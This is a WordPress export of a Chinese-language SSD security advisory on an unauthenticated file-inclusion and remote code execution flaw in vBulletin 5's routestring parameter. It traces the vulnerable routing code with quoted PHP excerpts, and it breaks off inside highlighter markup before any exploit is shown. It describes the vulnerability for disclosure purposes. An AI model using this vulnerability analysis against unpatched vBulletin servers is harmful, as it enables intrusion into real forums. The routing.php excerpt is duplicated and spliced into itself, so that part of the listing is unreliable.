{"id":10973,"date":"2017-12-31T14:19:07","date_gmt":"2017-12-31T22:19:07","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/12\/31\/news-4744\/"},"modified":"2017-12-31T14:19:07","modified_gmt":"2017-12-31T22:19:07","slug":"news-4744","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2017\/12\/31\/news-4744\/","title":{"rendered":"SSD\u5b89\u5168\u516c\u544a-vBulletin routestring\u672a\u7ecf\u9a8c\u8bc1\u7684\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c"},"content":{"rendered":"<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Sun, 31 Dec 2017 06:31:17 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<p><strong>Want to get paid for a vulnerability similar to this one?<\/strong><br \/>Contact us at: <a href=\"mailto:sxsxd@bxexyxoxnxdxsxexcxuxrxixtxy.com\" onmouseover=\"this.href=this.href.replace(\/x\/g,'');\" id=\"a-href-3609\">sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom<\/a><br \/><script>var obj = jQuery('#a-href-3609');if(obj[0]) { obj[0].innerText = obj[0].innerText.replace(\/x\/g, ''); }<\/script> See our full scope at: <a href=\"https:\/\/blogs.securiteam.com\/index.php\/product_scope\">https:\/\/blogs.securiteam.com\/index.php\/product_scope<\/a><\/p>\n<div class=\"pf-content\">\n<p><strong>\u6f0f\u6d1e\u6982\u8981<\/strong><br \/> \u4ee5\u4e0b\u5b89\u5168\u516c\u544a\u63cf\u8ff0\u4e86\u5728vBulletin5\u4e2d\u53d1\u73b0\u7684\u4e00\u4e2a\u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u7684\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\uff0c\u6210\u529f\u5229\u7528\u8be5\u6f0f\u6d1e\u53ef\u9020\u6210\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002<\/p>\n<p><span id=\"more-3609\"><\/span><\/p>\n<p>vBulletin\u4e5f\u79f0\u4e3avB\uff0c\u7531vBulletin Solutions\u516c\u53f8\u57fa\u4e8ePHP\u548cMySQL\u5f00\u53d1\uff0c\u5e7f\u6cdb\u7528\u4e8e\u642d\u5efa\u7f51\u7edc\u8bba\u575b\u3002 vBulletin\u4e3a\u8bb8\u591a\u7f51\u7edc\u5927\u578b\u7684\u793e\u4ea4\u7f51\u7ad9\u63d0\u4f9b\u6280\u672f\u652f\u6301\uff0c\u6570\u91cf\u8d85\u8fc710\u4e07\uff0c\u5176\u4e2d\u5305\u62ec\u8d22\u5bcc500\u5f3a\u548cAlexa Top 1M\u516c\u53f8\u7684\u7f51\u7ad9\u548c\u8bba\u575b\u3002\u6839\u636e\u6700\u65b0\u7684W3Techs1\u7edf\u8ba1\uff0cvBulletin 4\u62e5\u6709\u8d85\u8fc755\uff05\u7684vBulletin\u5e02\u573a\u4efd\u989d\uff0c\u800cvBulletin 3\u548cvBulletin 5\u5219\u5360\u5269\u4e0b\u768445\uff05\u3002<\/p>\n<p><strong>\u6f0f\u6d1e\u63d0\u4ea4\u8005<\/strong><br \/> \u4e00\u4f4d\u72ec\u7acb\u7684\u5b89\u5168\u7814\u7a76\u4eba\u5458\u5411 Beyond Security \u7684 SSD \u62a5\u544a\u4e86\u8be5\u6f0f\u6d1e<\/p>\n<p><strong>\u5382\u5546\u54cd\u5e94<\/strong><br \/> \u81ea2017\u5e7411\u670821\u65e5\u8d77\uff0c\u6211\u4eec\u591a\u6b21\u5c1d\u8bd5\u8054\u7cfbvBulletin\uff0c\u4f46\u662f\u6682\u65f6\u6ca1\u6709\u5f97\u5230\u56de\u590d\u3002\u76ee\u524d\uff0c\u6f0f\u6d1e\u6682\u65f6\u8fd8\u6ca1\u6709\u89e3\u51b3\u65b9\u6848\u3002<\/p>\n<p><strong>\u6f0f\u6d1e\u8be6\u7ec6\u4fe1\u606f<\/strong><br \/> vBulletin\u5b58\u5728\u4e00\u4e2a\u6f0f\u6d1e\uff0c\u5bfc\u81f4\u8fdc\u7a0b\u653b\u51fb\u8005\u53ef\u4ee5\u4ecevBulletin\u670d\u52a1\u5668\u4e2d\u5305\u542b\u4efb\u610f\u6587\u4ef6\u5e76\u6267\u884cPHP\u4ee3\u7801\u3002<\/p>\n<p>\u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u7684\u7528\u6237\u53ef\u4ee5\u5411\/index.php\u53d1\u9001GET\u8bf7\u6c42\uff0c\u7136\u540e\u4f7f\u7528\u53c2\u6570routestring =\u89e6\u53d1\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u3002<\/p>\n<p>\u8be5\u8bf7\u6c42\u5141\u8bb8\u653b\u51fb\u8005\u5411\u5b89\u88c5\u5728Windows\u64cd\u4f5c\u7cfb\u7edf\u4e0a\u7684Vbulletin\u670d\u52a1\u5668\u521b\u5efa\u7cbe\u5fc3\u5236\u4f5c\u7684\u8bf7\u6c42\uff0c\u5e76\u5728Web\u670d\u52a1\u5668\u4e0a\u5305\u542b\u4efb\u610f\u6587\u4ef6\u3002<\/p>\n<p>\/index.php \u90e8\u5206\u4ee3\u7801\uff1a<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a49625a6e140748350606\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 48 *\/ $app = vB5_Frontend_Application::init(&#8216;config.php&#8217;);   \/* 49 *\/ \/\/todo, move this back so we can catch notices in the startup code. For now, we can set the value in the php.ini   \/* 50 *\/ \/\/file to catch these situations.   \/* 51 *\/ \/\/ We report all errors here because we have to make Application Notice free   \/* 52 *\/ error_reporting(E_ALL | E_STRICT);   \/* 53 *\/    \/* 54 *\/ $config = vB5_Config::instance();   \/* 55 *\/ if (!$config-&gt;report_all_php_errors) {   \/* 56 *\/  \/\/ Note that E_STRICT became part of E_ALL in PHP 5.4  \/* 57 *\/  error_reporting(E_ALL &amp; ~(E_NOTICE | E_STRICT));  \/* 58 *\/ }   \/* 59 *\/    \/* 60 *\/ $routing = $app-&gt;getRouter();   \/* 61 *\/ $method = $routing-&gt;getAction();   \/* 62 *\/ $template = $routing-&gt;getTemplate();   \/* 63 *\/ $class = $routing-&gt;getControllerClass();   \/* 64 *\/    \/* 65 *\/ if (!class_exists($class))   \/* 66 *\/ {   \/* 67 *\/  \/\/ @todo &#8211; this needs a proper error message  \/* 68 *\/  die(&#8220;Couldn&#8217;t find controller file for $class&#8221;);  \/* 69 *\/ }   \/* 70 *\/    \/* 71 *\/ vB5_Frontend_ExplainQueries::initialize();   \/* 72 *\/ $c = new $class($template);   \/* 73 *\/    \/* 74 *\/ call_user_func_array(array(&amp;$c, $method), $routing-&gt;getArguments());   \/* 75 *\/    \/* 76 *\/ vB5_Frontend_ExplainQueries::finish();<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0033 seconds] -->  <\/p>\n<p>\u8ba9\u6211\u4eec\u4ed4\u7ec6\u770b\u770bvB5_Frontend_Application :: init \u2014 \/includes\/vb5\/frontend\/application.php\u90e8\u5206\u4ee3\u7801\uff1a<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a49625a6e148292146181\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 15 *\/   public static function init($configFile)  \/* 16 *\/    {  \/* 17 *\/       parent::init($configFile);  \/* 18 *\/      \/* 19 *\/       self::$instance = new vB5_Frontend_Application();  \/* 20 *\/       self::$instance-&gt;router = new vB5_Frontend_Routing();  \/* 21 *\/       self::$instance-&gt;router-&gt;setRoutes();  \/* &#8230; *\/<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e148292146181-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e148292146181-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e148292146181-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e148292146181-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e148292146181-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e148292146181-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e148292146181-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e148292146181-8\">8<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e148292146181-1\"><span class=\"crayon-c\">\/* 15 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">static<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">init<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">configFile<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e148292146181-2\"><span class=\"crayon-c\">\/* 16 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e148292146181-3\"><span class=\"crayon-c\">\/* 17 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-r\">parent<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">init<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">configFile<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e148292146181-4\"><span class=\"crayon-c\">\/* 18 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e148292146181-5\"><span class=\"crayon-c\">\/* 19 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">instance<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">vB5_Frontend_Application<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e148292146181-6\"><span class=\"crayon-c\">\/* 20 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">instance<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">router<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">vB5_Frontend_Routing<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a49625a6e148292146181-7\"><span class=\"crayon-c\">\/* 21 *\/<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-r\">self<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">instance<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">router<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">setRoutes<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a49625a6e148292146181-8\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0010 seconds] -->  <\/p>\n<p>\u6211\u4eec\u53ef\u4ee5\u770b\u5230setRoutes()\u88ab\u8c03\u7528<\/p>\n<p>\/includes\/vb5\/frontend\/routing.php\u90e8\u5206\u4ee3\u7801\uff1a<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a49625a6e14b117614364\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 47 *\/      public function setRoutes()              \/* 48 *\/      {              \/* 49 *\/         $this-&gt;processQueryString();           \/* 50 *\/                    \/* 51 *\/         \/\/TODO: this is a very basic and straight forward way of parsing the URI, we need to improve it           \/* 52 *\/         \/\/$path = isset($_SERVER[&#8216;PATH_INFO&#8217;]) ? $_SERVER[&#8216;PATH_INFO&#8217;] : &#8221;;           \/* 53 *\/                    \/* 54 *\/         if (isset($_GET[&#8216;routestring&#8217;]))           \/* 55 *\/         {           \/* 56 *\/            $path = $_GET[&#8216;routestring&#8217;];        \/* &#8230; *\/                    \/* 73 *\/         }           \/* 74 *\/                    \/* 75 *\/         if (strlen($path) AND $path{0} == &#8216;\/&#8217;)           \/* 76 *\/         {           \/* 77 *\/            $path = substr($path, 1);        \/* 78 *\/         }           \/* 79 *\/                    \/* 80 *\/         \/\/If there is an invalid image, js, or css request we wind up here. We can&#8217;t process any of them           \/* 81 *\/         if (strlen($path) &gt; 2 )           \/* 82 *\/         {           \/* 83 *\/            $ext = strtolower(substr($path, -4)) ;        \/* 84 *\/            if (($ext == \/* 47 *\/      public function setRoutes()              \/* 48 *\/      {              \/* 49 *\/         $this-&gt;processQueryString();           \/* 50 *\/                    \/* 51 *\/         \/\/TODO: this is a very basic and straight forward way of parsing the URI, we need to improve it           \/* 52 *\/         \/\/$path = isset($_SERVER[&#8216;PATH_INFO&#8217;]) ? $_SERVER[&#8216;PATH_INFO&#8217;] : &#8221;;           \/* 53 *\/                    \/* 54 *\/         if (isset($_GET[&#8216;routestring&#8217;]))           \/* 55 *\/         {           \/* 56 *\/            $path = $_GET[&#8216;routestring&#8217;];        \/* &#8230; *\/                    \/* 73 *\/         }           \/* 74 *\/                    \/* 75 *\/         if (strlen($path) AND $path{0} == &#8216;\/&#8217;)           \/* 76 *\/         {           \/* 77 *\/            $path = substr($path, 1);        \/* 78 *\/         }           \/* 79 *\/                    \/* 80 *\/         \/\/If there is an invalid image, js, or css request we wind up here. We can&#8217;t process any of them           \/* 81 *\/         if (strlen($path) &gt; 2 )           \/* 82 *\/         {           \/* 83 *\/            $ext = strtolower(substr($path, -4)) ;        \/* 84 *\/            if (($ext == &#8216;.gif&#8217;) OR ($ext == &#8216;.png&#8217;) OR ($ext == &#8216;.jpg&#8217;) OR ($ext == &#8216;.css&#8217;)        \/* 85 *\/               OR (strtolower(substr($path, -3)) == &#8216;.js&#8217;) )     \/* 86 *\/            {        \/* 87 *\/               header(&#8220;HTTP\/1.0 404 Not Found&#8221;);     \/* 88 *\/               die(&#8221;);     \/* 89 *\/            }        \/* 90 *\/         }           \/* 91 *\/                    \/* 92 *\/         try           \/* 93 *\/         {           \/* 94 *\/            $message = &#8221;; \/\/ Start with no error.        \/* 95 *\/            $route = Api_InterfaceAbstract::instance()-&gt;callApi(&#8216;route&#8217;, &#8216;getRoute&#8217;, array(&#8216;pathInfo&#8217; =&gt; $path, &#8216;queryString&#8217; =&gt; $_SERVER[&#8216;QUERY_STRING&#8217;]));        \/* 96 *\/         }           \/* 97 *\/         catch (Exception $e)           \/* 98 *\/         {           \/* &#8230; *\/                    \/* 106 *\/         }           \/* &#8230; *\/                    \/* 127 *\/         if (!empty($route))           \/* 128 *\/         {           \/* &#8230; *\/                    \/* 188 *\/         }           \/* 189 *\/         else           \/* 190 *\/         {           \/* 191 *\/            \/\/ if no route was matched, try to parse route as \/controller\/method        \/* 192 *\/            $stripped_path = preg_replace(&#8216;\/[^a-z0-9\/-_.]+\/i&#8217;, &#8221;, trim(strval($path), &#8216;\/&#8217;));        \/* &#8230; *\/    \/* 229 *\/         }           \/* 230 *\/                    \/* 231 *\/         \/\/this could be a legacy file that we need to proxy.  The relay controller will handle           \/* 232 *\/         \/\/cases where this is not a valid file.  Only handle files in the &#8220;root directory&#8221;.  We&#8217;ll           \/* 233 *\/         \/\/handle deeper paths via more standard routes.           \/* 234 *\/         if (strpos($path, &#8216;\/&#8217;) === false)           \/* 235 *\/         {           \/* 236 *\/            $this-&gt;controller = &#8216;relay&#8217;;        \/* 237 *\/            $this-&gt;action = &#8216;legacy&#8217;;        \/* 238 *\/            $this-&gt;template = &#8221;;        \/* 239 *\/            $this-&gt;arguments = array($path);        \/* 240 *\/            $this-&gt;queryParameters = array();        \/* 241 *\/            return;        \/* 242 *\/         }           \/* 243 *\/                    \/* 244 *\/         vB5_ApplicationAbstract::checkState();           \/* 245 *\/                    \/* 246 *\/         throw new vB5_Exception_404(&#8220;invalid_page_url&#8221;);           \/* 247 *\/      }   ) )     \/* 86 *\/            {        \/* 87 *\/               header(&#8220;HTTP\/1.0 404 Not Found&#8221;);     \/* 88 *\/               die(&#8221;);     \/* 89 *\/            }        \/* 90 *\/         }           \/* 92 *\/         try           \/* 93 *\/         {           \/* 94 *\/            $message = &#8221;; \/\/ Start with no error.        \/* 95 *\/            $route = Api_InterfaceAbstract::instance()-&gt;callApi(&#8216;route&#8217;, &#8216;getRoute&#8217;, array(&#8216;pathInfo&#8217; =&gt; $path, &#8216;queryString&#8217; =&gt; $_SERVER[&#8216;QUERY_STRING&#8217;]));        \/* 96 *\/         }           \/* 97 *\/         catch (Exception $e)           \/* 98 *\/         {           \/* &#8230; *\/                    \/* 106 *\/         }           \/* &#8230; *\/                    \/* 127 *\/         if (!empty($route))           \/* 128 *\/         {           \/* &#8230; *\/                    \/* 188 *\/         }           \/* 189 *\/         else           \/* 190 *\/         {           \/* 191 *\/            \/\/ if no route was matched, try to parse route as \/controller\/method        \/* 192 *\/            $stripped_path = preg_replace(&#8216;\/[^a-z0-9\/-_.]+\/i&#8217;, &#8221;, trim(strval($path), &#8216;\/&#8217;));        \/* &#8230; *\/    \/* 229 *\/         }           \/* 230 *\/                    \/* 231 *\/         \/\/this could be a legacy file that we need to proxy.  The relay controller will handle           \/* 232 *\/         \/\/cases where this is not a valid file.  Only handle files in the &#8220;root directory&#8221;.  We&#8217;ll           \/* 233 *\/         \/\/handle deeper paths via more standard routes.           \/* 234 *\/         if (strpos($path, &#8216;\/&#8217;) === false)           \/* 235 *\/         {           \/* 236 *\/            $this-&gt;controller = &#8216;relay&#8217;;        \/* 237 *\/            $this-&gt;action = &#8216;legacy&#8217;;        \/* 238 *\/            $this-&gt;template = &#8221;;        \/* 239 *\/            $this-&gt;arguments = array($path);        \/* 240 *\/            $this-&gt;queryParameters = array();        \/* 241 *\/            return;        \/* 242 *\/         }           \/* \u2026 *\/       <\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-29\">29<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-30\">30<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-31\">31<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-32\">32<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-33\">33<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-34\">34<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-35\">35<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-36\">36<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-37\">37<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-38\">38<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-39\">39<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-40\">40<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-41\">41<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a49625a6e14b117614364-42\">42<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a49625a6e14b117614364-43\">43<\/div>\n<div class=\"crayon-num crayon-striped-num\" 